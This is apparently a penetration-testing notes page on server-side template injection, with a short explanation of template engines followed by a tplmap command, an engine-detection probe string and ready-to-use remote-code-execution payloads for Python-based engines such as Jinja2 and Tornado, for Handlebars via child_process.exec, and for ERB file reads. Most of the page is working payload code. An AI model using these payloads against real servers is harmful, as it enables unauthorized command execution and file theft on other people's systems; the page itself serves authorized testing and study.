SSTI

Server-Side Template Injection.

Template Engines are software tools used to generate dynamic output. There is a template, which is a predefined document that contains a static structure, but also includes placeholders, markers, and variables that will be replaced with dynamic data during the generation of the final output. So during the rendering process there is interpretation of the template, dynamic insertion of the specified elements, and generation of the final output. Each Template Engine defines placeholders etc. differently.

Tools

Tool
Details

./tplmap.py -u '<URL>?param=value' (GET) ./tplmap.py -u '<URL>' -d "param=value" (POST)

Template Engine Identification

${{<%[%'"}}%\

Also look for errors on the Internet, or extensions.

Payload

See Navigating Python Objects.

{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').system("<COMMAND>") }}
{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').popen("<COMMAND>").read() }}

Where INDEX was taken from (example in tornado template engine)

{% for i in range(450) %} 
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }} 
{% endfor %}

Two payloads that can be used if request and lipsum are present (ex. in Jinja2)

{{request.application.__globals__.__builtins__.__import__('os').popen('<COMMAND>').read()}}
{{lipsum.__globals__.os.popen('<COMMAND>').read()}}

In Handlebars (JavaScript)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

If the require function is outside the scope of the application we are attacking, we need to find a function we can access. These are called global variables.

return process.mainModule.require('child_process').exec('whoami');

In ERB

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Last updated

Was this helpful?